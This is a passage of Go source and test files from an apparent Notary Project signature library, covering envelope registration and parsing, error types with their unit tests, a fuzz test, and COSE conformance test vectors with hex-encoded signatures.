signInfo.SignedAttributes.ExtendedAttributes) { 173 | if !(len(request.ExtendedSignedAttributes) == 0 && len(signInfo.SignedAttributes.ExtendedAttributes) == 0) { 174 | t.Fatalf("Mistmatch between expected and actual ExtendedAttributes") 175 | } 176 | } 177 | 178 | signer, err := getSigner(request.Signer) 179 | if err != nil { 180 | t.Fatalf("getSigner() failed. Error = %s", err) 181 | } 182 | certs := signer.CertificateChain() 183 | if err != nil || !reflect.DeepEqual(certs, signInfo.CertificateChain) { 184 | t.Fatalf("Mistmatch between expected and actual CertificateChain") 185 | } 186 | } 187 | 188 | func verifyPayload(payload *signature.Payload, request *signature.SignRequest, t *testing.T) { 189 | if request.Payload.ContentType != payload.ContentType { 190 | t.Fatalf("PayloadContentType: expected value %q but found %q", request.Payload.ContentType, payload.ContentType) 191 | } 192 | 193 | if !bytes.Equal(request.Payload.Content, payload.Content) { 194 | t.Fatalf("Payload: expected value %q but found %q", request.Payload.Content, payload.Content) 195 | } 196 | } 197 | 198 | func areAttrEqual(u []signature.Attribute, v []signature.Attribute) bool { 199 | sortCOSEAttributes(u) 200 | sortCOSEAttributes(v) 201 | return reflect.DeepEqual(u, v) 202 | } 203 | 204 | func generateSign1(msg *cose.Sign1Message) *cose.Sign1Message { 205 | newMsg := cose.NewSign1Message() 206 | newMsg.Headers.Protected = msg.Headers.Protected 207 | newMsg.Headers.Unprotected["io.cncf.notary.signingAgent"] = msg.Headers.Unprotected["io.cncf.notary.signingAgent"] 208 | newMsg.Payload = msg.Payload 209 | newMsg.Signature = hexToBytes("5bfec0a345098b9b9b6fb7358face7ab76d191b648ccd19e36fb03c2085ea072ec050d9c6e4fa4845478386d0831a2360d343a1ff027bdd56d496f996b90ac2db9da2460baffec21db7c0ca759ba83ab35cdf521c0926138681bde05277e2976cedbeb4040c930908ef2b113d935378bd3c5e7740119b2b81c59e9c6c24411abdf699547864f68f2e0f6346eeff627bf0d971abdf94e67e12a10134ccbbadfa0ab4031b18705696a9567a0f1f061247fdd00d343ea3a45f63da7f80771612b38fc9877375bcbce28aef1f3ee2b25869722c24737c49d8c6711376dd62b3d32b24d489746e2ba5d25fa76febcc6abf9d2baee67221c85a7a8f8763dadc5e20bb8c5c03a75c68211557813d2d6adea56ec5526f78c18460b1944c8307a4b0ed64a6d6b4abed5067de5a5ad38948a2ea140b01a7762c15b3e63d7d7bdc8962e6c4bff18b34d2a19fc627f02ebf88daf7fb25c55ce1b9ca06ade02f9d60ad16cb306f433f692e598132d67b5d0a02193191d5c9cd52ad81f4e31917e5b5d40ef5ce7") 210 | return newMsg 211 | } 212 | 213 | func sortCOSEAttributes(u []signature.Attribute) { 214 | sort.Slice(u, func(p, q int) bool { 215 | switch k1 := u[p].Key.(type) { 216 | case int: 217 | switch k2 := u[q].Key.(type) { 218 | case int: 219 | return k1 < k2 220 | case string: 221 | return false 222 | } 223 | case string: 224 | switch k2 := u[q].Key.(type) { 225 | case int: 226 | return true 227 | case string: 228 | return k1 < k2 229 | } 230 | } 231 | return false 232 | }) 233 | } 234 | -------------------------------------------------------------------------------- /signature/cose/fuzz_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package cose 15 | 16 | import ( 17 | "testing" 18 | ) 19 | 20 | func FuzzSignatureCose(f *testing.F) { 21 | f.Fuzz(func(t *testing.T, envelopeBytes []byte, shouldVerify bool) { 22 | e, err := ParseEnvelope(envelopeBytes) 23 | if err != nil { 24 | t.Skip() 25 | } 26 | 27 | if shouldVerify { 28 | _, _ = e.Verify() 29 | } else { 30 | _, _ = e.Content() 31 | } 32 | }) 33 | } 34 | -------------------------------------------------------------------------------- /signature/cose/testdata/conformance.json: -------------------------------------------------------------------------------- 1 | { 2 | "title": "Sign1 - RSASSA-PSS w/ SHA-384 (sign)", 3 | "description": "Sign with one signer using RSASSA-PSS w/ SHA-384", 4 | "signingTime": 1661321924, 5 | "expiry": 1661408324, 6 | "payload": "68656C6C6F20434F5345", 7 | "protectedHeaders": { 8 | "cborHex": "A80138250283781C696F2E636E63662E6E6F746172792E7369676E696E67536368656D6575696F2E636E63662E6E6F746172792E6578706972796E7369676E6564437269744B65793103782B6170706C69636174696F6E2F766E642E636E63662E6E6F746172792E7061796C6F61642E76312B6A736F6E6A7369676E65644B6579316C7369676E656456616C7565316E7369676E6564437269744B657931707369676E65644372697456616C75653175696F2E636E63662E6E6F746172792E657870697279C11A63071444781A696F2E636E63662E6E6F746172792E7369676E696E6754696D65C11A6305C2C4781C696F2E636E63662E6E6F746172792E7369676E696E67536368656D656B6E6F746172792E78353039", 9 | "cborDiag": "{1: -38, 2: [\"io.cncf.notary.signingScheme\", \"io.cncf.notary.expiry\", \"signedCritKey1\"], 3: \"application/vnd.cncf.notary.payload.v1+json\", \"signedKey1\": \"signedValue1\", \"signedCritKey1\": \"signedCritValue1\", \"io.cncf.notary.expiry\": 1(1661408324), \"io.cncf.notary.signingTime\": 1(1661321924), \"io.cncf.notary.signingScheme\": \"notary.x509\"}" 10 | }, 11 | "unprotectedHeaders": { 12 | "cborHex": "A1781B696F2E636E63662E6E6F746172792E7369676E696E674167656E74781D4E6F746174696F6E436F6E666F726D616E6365546573742F312E302E30", 13 | "cborDiag": "{\"io.cncf.notary.signingAgent\":\"NotationConformanceTest/1.0.0\"}" 14 | }, 15 | "expectedOutput": { 16 | "cborHex": "D284590117A80138250283781C696F2E636E63662E6E6F746172792E7369676E696E67536368656D6575696F2E636E63662E6E6F746172792E6578706972796E7369676E6564437269744B65793103782B6170706C69636174696F6E2F766E642E636E63662E6E6F746172792E7061796C6F61642E76312B6A736F6E6A7369676E65644B6579316C7369676E656456616C7565316E7369676E6564437269744B657931707369676E65644372697456616C75653175696F2E636E63662E6E6F746172792E657870697279C11A63071444781A696F2E636E63662E6E6F746172792E7369676E696E6754696D65C11A6305C2C4781C696F2E636E63662E6E6F746172792E7369676E696E67536368656D656B6E6F746172792E78353039A1781B696F2E636E63662E6E6F746172792E7369676E696E674167656E74781D4E6F746174696F6E436F6E666F726D616E6365546573742F312E302E304A68656C6C6F20434F53455901805BFEC0A345098B9B9B6FB7358FACE7AB76D191B648CCD19E36FB03C2085EA072EC050D9C6E4FA4845478386D0831A2360D343A1FF027BDD56D496F996B90AC2DB9DA2460BAFFEC21DB7C0CA759BA83AB35CDF521C0926138681BDE05277E2976CEDBEB4040C930908EF2B113D935378BD3C5E7740119B2B81C59E9C6C24411ABDF699547864F68F2E0F6346EEFF627BF0D971ABDF94E67E12A10134CCBBADFA0AB4031B18705696A9567A0F1F061247FDD00D343EA3A45F63DA7F80771612B38FC9877375BCBCE28AEF1F3EE2B25869722C24737C49D8C6711376DD62B3D32B24D489746E2BA5D25FA76FEBCC6ABF9D2BAEE67221C85A7A8F8763DADC5E20BB8C5C03A75C68211557813D2D6ADEA56EC5526F78C18460B1944C8307A4B0ED64A6D6B4ABED5067DE5A5AD38948A2EA140B01A7762C15B3E63D7D7BDC8962E6C4BFF18B34D2A19FC627F02EBF88DAF7FB25C55CE1B9CA06ADE02F9D60AD16CB306F433F692E598132D67B5D0A02193191D5C9CD52AD81F4E31917E5B5D40EF5CE7", 17 | "cborDiag": "18([h'A80138250283781C696F2E636E63662E6E6F746172792E7369676E696E67536368656D6575696F2E636E63662E6E6F746172792E6578706972796E7369676E6564437269744B65793103782B6170706C69636174696F6E2F766E642E636E63662E6E6F746172792E7061796C6F61642E76312B6A736F6E6A7369676E65644B6579316C7369676E656456616C7565316E7369676E6564437269744B657931707369676E65644372697456616C75653175696F2E636E63662E6E6F746172792E657870697279C11A63071444781A696F2E636E63662E6E6F746172792E7369676E696E6754696D65C11A6305C2C4781C696F2E636E63662E6E6F746172792E7369676E696E67536368656D656B6E6F746172792E78353039', {\"io.cncf.notary.signingAgent\":\"NotationConformanceTest/1.0.0\"}, h'68656C6C6F20434F5345', h'5bfec0a345098b9b9b6fb7358face7ab76d191b648ccd19e36fb03c2085ea072ec050d9c6e4fa4845478386d0831a2360d343a1ff027bdd56d496f996b90ac2db9da2460baffec21db7c0ca759ba83ab35cdf521c0926138681bde05277e2976cedbeb4040c930908ef2b113d935378bd3c5e7740119b2b81c59e9c6c24411abdf699547864f68f2e0f6346eeff627bf0d971abdf94e67e12a10134ccbbadfa0ab4031b18705696a9567a0f1f061247fdd00d343ea3a45f63da7f80771612b38fc9877375bcbce28aef1f3ee2b25869722c24737c49d8c6711376dd62b3d32b24d489746e2ba5d25fa76febcc6abf9d2baee67221c85a7a8f8763dadc5e20bb8c5c03a75c68211557813d2d6adea56ec5526f78c18460b1944c8307a4b0ed64a6d6b4abed5067de5a5ad38948a2ea140b01a7762c15b3e63d7d7bdc8962e6c4bff18b34d2a19fc627f02ebf88daf7fb25c55ce1b9ca06ade02f9d60ad16cb306f433f692e598132d67b5d0a02193191d5c9cd52ad81f4e31917e5b5d40ef5ce7'])" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /signature/envelope.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package signature provides operations for types that implement 15 | // signature.Envelope or signature.Signer. 16 | // 17 | // An Envelope is a structure that creates and verifies a signature using the 18 | // specified signing algorithm with required validation. To register a new 19 | // envelope, call RegisterEnvelopeType first during the initialization. 20 | // 21 | // A Signer is a structure used to sign payload generated after signature 22 | // envelope created. The underlying signing logic is provided by the underlying 23 | // local crypto library or the external signing plugin. 24 | package signature 25 | 26 | import ( 27 | "fmt" 28 | "sync" 29 | ) 30 | 31 | // Envelope provides basic functions to manipulate signatures. 32 | type Envelope interface { 33 | // Sign generates and sign the envelope according to the sign request. 34 | Sign(req *SignRequest) ([]byte, error) 35 | 36 | // Verify verifies the envelope and returns its enclosed payload and signer 37 | // info. 38 | Verify() (*EnvelopeContent, error) 39 | 40 | // Content returns the payload and signer information of the envelope. 41 | // Content is trusted only after the successful call to `Verify()`. 42 | Content() (*EnvelopeContent, error) 43 | } 44 | 45 | // NewEnvelopeFunc defines a function to create a new Envelope. 46 | type NewEnvelopeFunc func() Envelope 47 | 48 | // ParseEnvelopeFunc defines a function that takes envelope bytes to create 49 | // an Envelope. 50 | type ParseEnvelopeFunc func([]byte) (Envelope, error) 51 | 52 | // envelopeFunc wraps functions to create and parsenew envelopes. 53 | type envelopeFunc struct { 54 | newFunc NewEnvelopeFunc 55 | parseFunc ParseEnvelopeFunc 56 | } 57 | 58 | // envelopeFuncs maps envelope media type to corresponding constructors and 59 | // parsers. 60 | var envelopeFuncs sync.Map // map[string]envelopeFunc 61 | 62 | // RegisterEnvelopeType registers newFunc and parseFunc for the given mediaType. 63 | // Those functions are intended to be called when creating a new envelope. 64 | // It will be called while inializing the built-in envelopes(JWS/COSE). 65 | func RegisterEnvelopeType(mediaType string, newFunc NewEnvelopeFunc, parseFunc ParseEnvelopeFunc) error { 66 | if newFunc == nil || parseFunc == nil { 67 | return fmt.Errorf("required functions not provided") 68 | } 69 | envelopeFuncs.Store(mediaType, envelopeFunc{ 70 | newFunc: newFunc, 71 | parseFunc: parseFunc, 72 | }) 73 | return nil 74 | } 75 | 76 | // RegisteredEnvelopeTypes lists registered envelope media types. 77 | func RegisteredEnvelopeTypes() []string { 78 | var types []string 79 | 80 | envelopeFuncs.Range(func(k, v any) bool { 81 | types = append(types, k.(string)) 82 | return true 83 | }) 84 | 85 | return types 86 | } 87 | 88 | // NewEnvelope generates an envelope of given media type. 89 | func NewEnvelope(mediaType string) (Envelope, error) { 90 | val, ok := envelopeFuncs.Load(mediaType) 91 | if !ok { 92 | return nil, &UnsupportedSignatureFormatError{MediaType: mediaType} 93 | } 94 | return val.(envelopeFunc).newFunc(), nil 95 | } 96 | 97 | // ParseEnvelope generates an envelope for given envelope bytes with specified 98 | // media type. 99 | func ParseEnvelope(mediaType string, envelopeBytes []byte) (Envelope, error) { 100 | val, ok := envelopeFuncs.Load(mediaType) 101 | if !ok { 102 | return nil, &UnsupportedSignatureFormatError{MediaType: mediaType} 103 | } 104 | return val.(envelopeFunc).parseFunc(envelopeBytes) 105 | } 106 | -------------------------------------------------------------------------------- /signature/envelope_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import ( 17 | "reflect" 18 | "sync" 19 | "testing" 20 | ) 21 | 22 | var ( 23 | emptyFuncs sync.Map 24 | validFuncs sync.Map 25 | ) 26 | 27 | func init() { 28 | validFuncs.Store(testMediaType, envelopeFunc{ 29 | newFunc: testNewFunc, 30 | parseFunc: testParseFunc, 31 | }) 32 | } 33 | 34 | // mock an envelope that implements signature.Envelope. 35 | type testEnvelope struct { 36 | } 37 | 38 | // Sign implements Sign of signature.Envelope. 39 | func (e testEnvelope) Sign(req *SignRequest) ([]byte, error) { 40 | return nil, nil 41 | } 42 | 43 | // Verify implements Verify of signature.Envelope. 44 | func (e testEnvelope) Verify() (*EnvelopeContent, error) { 45 | return nil, nil 46 | } 47 | 48 | // Content implements Content of signature.Envelope. 49 | func (e testEnvelope) Content() (*EnvelopeContent, error) { 50 | return nil, nil 51 | } 52 | 53 | var ( 54 | testNewFunc = func() Envelope { 55 | return testEnvelope{} 56 | } 57 | testParseFunc = func([]byte) (Envelope, error) { 58 | return testEnvelope{}, nil 59 | } 60 | ) 61 | 62 | func TestRegisterEnvelopeType(t *testing.T) { 63 | tests := []struct { 64 | name string 65 | mediaType string 66 | newFunc NewEnvelopeFunc 67 | parseFunc ParseEnvelopeFunc 68 | expectErr bool 69 | }{ 70 | { 71 | name: "nil newFunc", 72 | mediaType: testMediaType, 73 | newFunc: nil, 74 | parseFunc: testParseFunc, 75 | expectErr: true, 76 | }, 77 | { 78 | name: "nil newParseFunc", 79 | mediaType: testMediaType, 80 | newFunc: testNewFunc, 81 | parseFunc: nil, 82 | expectErr: true, 83 | }, 84 | { 85 | name: "valid funcs", 86 | mediaType: testMediaType, 87 | newFunc: testNewFunc, 88 | parseFunc: testParseFunc, 89 | expectErr: false, 90 | }, 91 | } 92 | 93 | for _, tt := range tests { 94 | t.Run(tt.name, func(t *testing.T) { 95 | err := RegisterEnvelopeType(tt.mediaType, tt.newFunc, tt.parseFunc) 96 | 97 | if (err != nil) != tt.expectErr { 98 | t.Errorf("error = %v, expectErr = %v", err, tt.expectErr) 99 | } 100 | }) 101 | } 102 | } 103 | 104 | func TestRegisteredEnvelopeTypes(t *testing.T) { 105 | tests := []struct { 106 | name string 107 | envelopeFuncs sync.Map 108 | expect []string 109 | }{ 110 | { 111 | name: "empty map", 112 | envelopeFuncs: emptyFuncs, 113 | expect: nil, 114 | }, 115 | { 116 | name: "nonempty map", 117 | envelopeFuncs: validFuncs, 118 | expect: []string{testMediaType}, 119 | }, 120 | } 121 | 122 | for _, tt := range tests { 123 | t.Run(tt.name, func(t *testing.T) { 124 | envelopeFuncs = tt.envelopeFuncs 125 | types := RegisteredEnvelopeTypes() 126 | 127 | if !reflect.DeepEqual(types, tt.expect) { 128 | t.Errorf("got types: %v, expect types: %v", types, tt.expect) 129 | } 130 | }) 131 | } 132 | } 133 | 134 | func TestNewEnvelope(t *testing.T) { 135 | tests := []struct { 136 | name string 137 | mediaType string 138 | envelopeFuncs sync.Map 139 | expect Envelope 140 | expectErr bool 141 | }{ 142 | { 143 | name: "unsupported media type", 144 | mediaType: testMediaType, 145 | envelopeFuncs: emptyFuncs, 146 | expect: nil, 147 | expectErr: true, 148 | }, 149 | { 150 | name: "valid media type", 151 | mediaType: testMediaType, 152 | envelopeFuncs: validFuncs, 153 | expect: testEnvelope{}, 154 | expectErr: false, 155 | }, 156 | } 157 | 158 | for _, tt := range tests { 159 | t.Run(tt.name, func(t *testing.T) { 160 | envelopeFuncs = tt.envelopeFuncs 161 | envelope, err := NewEnvelope(tt.mediaType) 162 | 163 | if (err != nil) != tt.expectErr { 164 | t.Errorf("got error: %v, expected error? %v", err, tt.expectErr) 165 | } 166 | if envelope != tt.expect { 167 | t.Errorf("got envelope: %v, expected envelope? %v", envelope, tt.expect) 168 | } 169 | }) 170 | } 171 | } 172 | 173 | func TestParseEnvelope(t *testing.T) { 174 | tests := []struct { 175 | name string 176 | mediaType string 177 | envelopeFuncs sync.Map 178 | expect Envelope 179 | expectErr bool 180 | }{ 181 | { 182 | name: "unsupported media type", 183 | mediaType: testMediaType, 184 | envelopeFuncs: emptyFuncs, 185 | expect: nil, 186 | expectErr: true, 187 | }, 188 | { 189 | name: "valid media type", 190 | mediaType: testMediaType, 191 | envelopeFuncs: validFuncs, 192 | expect: testEnvelope{}, 193 | expectErr: false, 194 | }, 195 | } 196 | 197 | for _, tt := range tests { 198 | t.Run(tt.name, func(t *testing.T) { 199 | envelopeFuncs = tt.envelopeFuncs 200 | envelope, err := ParseEnvelope(tt.mediaType, nil) 201 | 202 | if (err != nil) != tt.expectErr { 203 | t.Errorf("got error: %v, expected error? %v", err, tt.expectErr) 204 | } 205 | if envelope != tt.expect { 206 | t.Errorf("got envelope: %v, expected envelope? %v", envelope, tt.expect) 207 | } 208 | }) 209 | } 210 | } 211 | -------------------------------------------------------------------------------- /signature/errors.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import "fmt" 17 | 18 | // SignatureIntegrityError is used when the signature associated is no longer 19 | // valid. 20 | type SignatureIntegrityError struct { 21 | Err error 22 | } 23 | 24 | // Error returns the formatted error message. 25 | func (e *SignatureIntegrityError) Error() string { 26 | return fmt.Sprintf("signature is invalid. Error: %s", e.Err.Error()) 27 | } 28 | 29 | // Unwrap unwraps the internal error. 30 | func (e *SignatureIntegrityError) Unwrap() error { 31 | return e.Err 32 | } 33 | 34 | // InvalidSignatureError is used when Signature envelope is invalid. 35 | type InvalidSignatureError struct { 36 | Msg string 37 | } 38 | 39 | // Error returns the error message or the default message if not provided. 40 | func (e InvalidSignatureError) Error() string { 41 | if e.Msg != "" { 42 | return e.Msg 43 | } 44 | return "signature envelope format is invalid" 45 | } 46 | 47 | // UnsupportedSignatureFormatError is used when Signature envelope is not supported. 48 | type UnsupportedSignatureFormatError struct { 49 | MediaType string 50 | } 51 | 52 | // Error returns the formatted error message. 53 | func (e *UnsupportedSignatureFormatError) Error() string { 54 | return fmt.Sprintf("signature envelope format with media type %q is not supported", e.MediaType) 55 | } 56 | 57 | // SignatureNotFoundError is used when signature envelope is not present. 58 | type SignatureNotFoundError struct{} 59 | 60 | func (e SignatureNotFoundError) Error() string { 61 | return "signature envelope is not present" 62 | } 63 | 64 | // SignatureAuthenticityError is used when signature is not generated using 65 | // trusted certificates. 66 | type SignatureAuthenticityError struct{} 67 | 68 | // Error returns the default error message. 69 | func (e *SignatureAuthenticityError) Error() string { 70 | return "the signature's certificate chain does not contain any trusted certificate" 71 | } 72 | 73 | // UnsupportedSigningKeyError is used when a signing key is not supported. 74 | type UnsupportedSigningKeyError struct { 75 | Msg string 76 | } 77 | 78 | // Error returns the error message or the default message if not provided. 79 | func (e UnsupportedSigningKeyError) Error() string { 80 | if e.Msg != "" { 81 | return e.Msg 82 | } 83 | return "signing key is not supported" 84 | } 85 | 86 | // InvalidArgumentError is used when an argument to a function is invalid. 87 | type InvalidArgumentError struct { 88 | Param string 89 | Err error 90 | } 91 | 92 | // Error returns the error message. 93 | func (e *InvalidArgumentError) Error() string { 94 | if e.Err != nil { 95 | return fmt.Sprintf("%q param is invalid. Error: %s", e.Param, e.Err.Error()) 96 | } 97 | return fmt.Sprintf("%q param is invalid", e.Param) 98 | } 99 | 100 | // Unwrap returns the unwrapped error. 101 | func (e *InvalidArgumentError) Unwrap() error { 102 | return e.Err 103 | } 104 | 105 | // InvalidSignRequestError is used when SignRequest is invalid. 106 | type InvalidSignRequestError struct { 107 | Msg string 108 | } 109 | 110 | // Error returns the error message or the default message if not provided. 111 | func (e *InvalidSignRequestError) Error() string { 112 | if e.Msg != "" { 113 | return e.Msg 114 | } 115 | return "SignRequest is invalid" 116 | } 117 | 118 | // UnsupportedSignatureAlgoError is used when signing algo is not supported. 119 | type UnsupportedSignatureAlgoError struct { 120 | Alg string 121 | } 122 | 123 | // Error returns the formatted error message. 124 | func (e *UnsupportedSignatureAlgoError) Error() string { 125 | return fmt.Sprintf("signature algorithm %q is not supported", e.Alg) 126 | } 127 | 128 | // SignatureEnvelopeNotFoundError is used when signature envelope is not present. 129 | type SignatureEnvelopeNotFoundError struct{} 130 | 131 | // Error returns the default error message. 132 | func (e *SignatureEnvelopeNotFoundError) Error() string { 133 | return "signature envelope is not present" 134 | } 135 | 136 | // DuplicateKeyError is used when repeated key name found. 137 | type DuplicateKeyError struct { 138 | Key string 139 | } 140 | 141 | // Error returns the formatted error message. 142 | func (e *DuplicateKeyError) Error() string { 143 | return fmt.Sprintf("repeated key: %q exists.", e.Key) 144 | } 145 | 146 | // TimestampError is any error related to RFC3161 Timestamp. 147 | type TimestampError struct { 148 | Msg string 149 | Detail error 150 | } 151 | 152 | // Error returns the formatted error message. 153 | func (e *TimestampError) Error() string { 154 | if e.Msg != "" && e.Detail != nil { 155 | return fmt.Sprintf("timestamp: %s. Error: %s", e.Msg, e.Detail.Error()) 156 | } 157 | if e.Msg != "" { 158 | return fmt.Sprintf("timestamp: %s", e.Msg) 159 | } 160 | if e.Detail != nil { 161 | return fmt.Sprintf("timestamp: %s", e.Detail.Error()) 162 | } 163 | return "timestamp error" 164 | } 165 | 166 | // Unwrap returns the detail error of e. 167 | func (e *TimestampError) Unwrap() error { 168 | return e.Detail 169 | } 170 | -------------------------------------------------------------------------------- /signature/errors_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import ( 17 | "errors" 18 | "fmt" 19 | "testing" 20 | ) 21 | 22 | const ( 23 | errMsg = "error msg" 24 | testParam = "test param" 25 | testAlg = "test algorithm" 26 | testMediaType = "test media type" 27 | ) 28 | 29 | func TestSignatureIntegrityError(t *testing.T) { 30 | unwrappedErr := errors.New(errMsg) 31 | err := &SignatureIntegrityError{ 32 | Err: unwrappedErr, 33 | } 34 | 35 | expectMsg := fmt.Sprintf("signature is invalid. Error: %s", errMsg) 36 | if err.Error() != expectMsg { 37 | t.Errorf("Expected %s but got %s", expectMsg, err.Error()) 38 | } 39 | if err.Unwrap() != unwrappedErr { 40 | t.Errorf("Expected %v but got %v", unwrappedErr, err.Unwrap()) 41 | } 42 | } 43 | 44 | func TestInvalidSignatureError(t *testing.T) { 45 | tests := []struct { 46 | name string 47 | err *InvalidSignatureError 48 | expect string 49 | }{ 50 | { 51 | name: "err msg set", 52 | err: &InvalidSignatureError{Msg: errMsg}, 53 | expect: errMsg, 54 | }, 55 | { 56 | name: "err msg not set", 57 | err: &InvalidSignatureError{}, 58 | expect: "signature envelope format is invalid", 59 | }, 60 | } 61 | 62 | for _, tt := range tests { 63 | t.Run(tt.name, func(t *testing.T) { 64 | msg := tt.err.Error() 65 | if msg != tt.expect { 66 | t.Errorf("Expected %s but got %s", tt.expect, msg) 67 | } 68 | }) 69 | } 70 | } 71 | 72 | func TestUnsupportedSignatureFormatError(t *testing.T) { 73 | err := &UnsupportedSignatureFormatError{MediaType: testMediaType} 74 | expectMsg := fmt.Sprintf("signature envelope format with media type %q is not supported", testMediaType) 75 | 76 | if err.Error() != expectMsg { 77 | t.Errorf("Expected %v but got %v", expectMsg, err.Error()) 78 | } 79 | } 80 | 81 | func TestUnsupportedSigningKeyError(t *testing.T) { 82 | tests := []struct { 83 | name string 84 | err *UnsupportedSigningKeyError 85 | expect string 86 | }{ 87 | { 88 | name: "err msg set", 89 | err: &UnsupportedSigningKeyError{Msg: errMsg}, 90 | expect: errMsg, 91 | }, 92 | { 93 | name: "err msg not set", 94 | err: &UnsupportedSigningKeyError{}, 95 | expect: "signing key is not supported", 96 | }, 97 | } 98 | 99 | for _, tt := range tests { 100 | t.Run(tt.name, func(t *testing.T) { 101 | msg := tt.err.Error() 102 | if msg != tt.expect { 103 | t.Errorf("Expected %s but got %s", tt.expect, msg) 104 | } 105 | }) 106 | } 107 | } 108 | 109 | func TestInvalidArgumentError(t *testing.T) { 110 | expectedMsg := "\"hola\" param is invalid" 111 | validateErrorMsg(&InvalidArgumentError{Param: "hola"}, expectedMsg, t) 112 | 113 | expectedMsg = "\"hola\" param is invalid. Error: se produjo un error" 114 | validateErrorMsg(&InvalidArgumentError{Param: "hola", Err: fmt.Errorf("se produjo un error")}, expectedMsg, t) 115 | } 116 | 117 | func TestUnsupportedSignatureAlgoError(t *testing.T) { 118 | err := &UnsupportedSignatureAlgoError{ 119 | Alg: testAlg, 120 | } 121 | 122 | expectMsg := fmt.Sprintf("signature algorithm %q is not supported", testAlg) 123 | if err.Error() != expectMsg { 124 | t.Errorf("Expected %s but got %s", expectMsg, err.Error()) 125 | } 126 | } 127 | 128 | func TestInvalidSignRequestError(t *testing.T) { 129 | expectedMsg := "SignRequest is invalid" 130 | validateErrorMsg(&InvalidSignRequestError{}, expectedMsg, t) 131 | 132 | expectedMsg = "Se produjo un error" 133 | validateErrorMsg(&InvalidSignRequestError{Msg: expectedMsg}, expectedMsg, t) 134 | } 135 | 136 | func validateErrorMsg(err error, expectedMsg string, t *testing.T) { 137 | foundMsg := err.Error() 138 | if expectedMsg != foundMsg { 139 | t.Errorf("Expected %q but found %q", expectedMsg, foundMsg) 140 | } 141 | } 142 | 143 | func TestInvalidArgumentError_Unwrap(t *testing.T) { 144 | err := &InvalidArgumentError{ 145 | Param: testParam, 146 | Err: errors.New(errMsg), 147 | } 148 | unwrappedErr := err.Unwrap() 149 | if unwrappedErr.Error() != errMsg { 150 | t.Errorf("Expected %s but got %s", errMsg, unwrappedErr.Error()) 151 | } 152 | } 153 | 154 | func TestSignatureEnvelopeNotFoundError(t *testing.T) { 155 | err := &SignatureEnvelopeNotFoundError{} 156 | expectMsg := "signature envelope is not present" 157 | 158 | if err.Error() != expectMsg { 159 | t.Errorf("Expected %v but got %v", expectMsg, err.Error()) 160 | } 161 | } 162 | 163 | func TestSignatureAuthenticityError(t *testing.T) { 164 | err := &SignatureAuthenticityError{} 165 | expectMsg := "the signature's certificate chain does not contain any trusted certificate" 166 | 167 | if err.Error() != expectMsg { 168 | t.Errorf("Expected %v but got %v", expectMsg, err.Error()) 169 | } 170 | } 171 | 172 | func TestEnvelopeKeyRepeatedError(t *testing.T) { 173 | err := &DuplicateKeyError{Key: errMsg} 174 | expectMsg := fmt.Sprintf("repeated key: %q exists.", errMsg) 175 | 176 | if err.Error() != expectMsg { 177 | t.Errorf("Expected %v but got %v", expectMsg, err.Error()) 178 | } 179 | } 180 | 181 | func TestTimestampError(t *testing.T) { 182 | err := &TimestampError{Msg: "test error", Detail: errors.New("test inner error")} 183 | expectMsg := "timestamp: test error. Error: test inner error" 184 | if err.Error() != expectMsg { 185 | t.Errorf("Expected %v but got %v", expectMsg, err.Error()) 186 | } 187 | 188 | err = &TimestampError{Msg: "test error"} 189 | expectMsg = "timestamp: test error" 190 | if err.Error() != expectMsg { 191 | t.Errorf("Expected %v but got %v", expectMsg, err.Error()) 192 | } 193 | 194 | err = &TimestampError{Detail: errors.New("test inner error")} 195 | expectMsg = "timestamp: test inner error" 196 | if err.Error() != expectMsg { 197 | t.Errorf("Expected %v but got %v", expectMsg, err.Error()) 198 | } 199 | unwrappedErr := err.Unwrap() 200 | expectMsg = "test inner error" 201 | if unwrappedErr.Error() != expectMsg { 202 | t.Errorf("Expected %s but got %s", errMsg, unwrappedErr.Error()) 203 | } 204 | 205 | err 